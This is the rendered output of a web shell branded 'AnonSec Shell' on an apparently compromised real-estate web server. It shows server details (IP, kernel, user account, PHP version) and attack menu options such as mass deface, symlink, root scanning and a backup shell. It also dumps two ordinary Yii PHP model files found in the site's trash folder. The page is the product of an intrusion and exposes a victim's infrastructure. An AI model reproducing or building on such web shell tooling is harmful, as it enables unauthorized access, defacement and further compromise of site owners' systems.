AnonSec Shell

Server IP : 162.19.86.63 / Your IP : 216.73.217.81 [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/vhosts/oinversion.com/.trash/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/vhosts/oinversion.com/.trash/FlatPage.php.tar
var/www/vhosts/oinversion.com/httpdocs/common/models/FlatPage.php000064400000006144151456372000021265 0ustar00<?php

namespace common\models;

use Yii;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use common\models\base\FlatPage as BaseFlatPage;
use common\models\traits\Translation;

/**
 * This is the model class for table "flat_page".
 */
class FlatPage extends BaseFlatPage
{
    use Translation;

    public static function getMappedArray(){
        $models = self::find()->all();
        return ArrayHelper::map($models, 'id', 'anchor');
    }

    public static function getUrlFor($flatPageUrl){
        $flatPage = FlatPage::findOne(['url' => $flatPageUrl]);
        return isset($flatPage) ? $flatPage->getUrl() : '#';
    }

    public static function findBySlugFallback($slug, $currentLanguage = null) {
        $currentLanguage = isset($currentLanguage) ? $currentLanguage : Yii::$app->language;
        $flatPageCurrentLanguage = self::findBySlug($slug, $currentLanguage);
        if (isset($flatPageCurrentLanguage)) {
            return $flatPageCurrentLanguage;
        }

        $flatPageFallbackLanguage = self::findBySlug($slug, Yii::$app->params['fallbackLanguage']);
        if (isset($flatPageFallbackLanguage)&&!$flatPageFallbackLanguage->modelHasTranslation($currentLanguage, 'slug')) {
            return $flatPageFallbackLanguage;
        }

        $flatPageMainLanguage = self::findBySlug($slug, Yii::$app->params['appMainLanguage']);
        if (isset($flatPageMainLanguage)
            &&!$flatPageMainLanguage->modelHasTranslation($currentLanguage, 'slug')
            &&!$flatPageMainLanguage->modelHasTranslation(Yii::$app->params['fallbackLanguage'], 'slug')
        ) {
            return $flatPageMainLanguage;
        }

        return null;
    }

    public static function findBySlug($slug, $language = null){
        $language = isset($language) ? $language : Yii::$app->language;
        return self::find()
            ->joinWith('translations')
            ->where(['flat_page_lang.slug'=>$slug])
            ->andWhere(['flat_page_lang.language'=>$language])
            ->one();
    }

    public function matchRequestedRoute(){
        if (Yii::$app->requestedRoute=='site/index'&&$this->url=='index') {
            return true;
        }
        if (Yii::$app->controller->id=='blog'&&$this->url=='blog') {
            return true;
        }

        $urlSlug = isset(Yii::$app->controller->module->requestedAction->controller->actionParams['slug']) ?
            Yii::$app->controller->module->requestedAction->controller->actionParams['slug']:
            null;
        return $urlSlug == $this->slug;
    }

    public function getFullUrl(){
        return substr(Yii::$app->params['frontendURL'], 0, -1) . Yii::$app->urlManagerFrontend->createUrl($this->getRoute());
    }

    public function getUrl(){
        return Url::toRoute($this->getRoute());
    }

    public function getRoute(){
        $route = ['flat-page/select', 'slug' => $this->slug];
        if ($this->url == 'blog') {
            $route = ['blog/index'];
        }
        elseif ($this->url == 'index') {
            $route = ['site/index'];
        }
        return $route;
    }

    public function __toString(){
        return $this->url;
    }
}
var/www/vhosts/oinversion.com/httpdocs/common/models/base/FlatPage.php000064400000006051151456701260022200 0ustar00<?php

namespace common\models\base;

use Yii;
use yii\behaviors\TimestampBehavior;
use yii\behaviors\BlameableBehavior;
use common\components\TranslateableBehavior;

/**
 * This is the base-model class for table "flat_page".
 *
 * @property integer $id
 * @property string $url
 * @property integer $created_by
 * @property integer $updated_by
 * @property string $created_at
 * @property string $updated_at
 *
 * @property \common\models\Content[] $contents
 * @property \common\models\User $createdBy
 * @property \common\models\User $updatedBy
 */
class FlatPage extends \yii\db\ActiveRecord
{

    /**
     * @inheritdoc
     */
    public static function tableName()
    {
        return 'flat_page';
    }
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'translatable' => [
                'class' => TranslateableBehavior::className(),
                // in case you renamed your relation, you can setup its name
                // 'relation' => 'translations',
                'translationAttributes' => [
                    'slug',
                    'meta_title',
                    'meta_description',
                    'anchor',
                ]
            ],
            'timestamp' => [
                'class' => TimestampBehavior::className(),
            ],
            [
            'class' => BlameableBehavior::className(),
            ],
        ];
    }

    /**
     * @inheritdoc
     */
    public function rules()
    {
        return [
            [['url'], 'required'],
            [['is_active', 'display_on_menu', 'created_by', 'updated_by', 'created_at', 'updated_at'], 'integer'],
            [['url'], 'string', 'max' => 255],
            [['url'], 'unique']
        ];
    }

    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [
            'id' => Yii::t('model', 'ID'),
            'url' => Yii::t('model', 'Unique ID'),
            'is_active' => Yii::t('model', 'Is Active'),
            'display_on_menu' => Yii::t('model', 'Display on Menu'),
            'created_by' => Yii::t('model', 'Created By'),
            'updated_by' => Yii::t('model', 'Updated By'),
            'created_at' => Yii::t('model', 'Created At'),
            'updated_at' => Yii::t('model', 'Updated At'),
        ];
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getContents()
    {
        return $this->hasMany(\common\models\Content::className(), ['flat_page_id' => 'id']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getCreatedBy()
    {
        return $this->hasOne(\common\models\User::className(), ['id' => 'created_by']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getUpdatedBy()
    {
        return $this->hasOne(\common\models\User::className(), ['id' => 'updated_by']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getTranslations()
    {
        return $this->hasMany(\common\models\FlatPageLang::className(), ['flat_page_id' => 'id']);
    }



}
Anon7 - 2022
AnonSec Team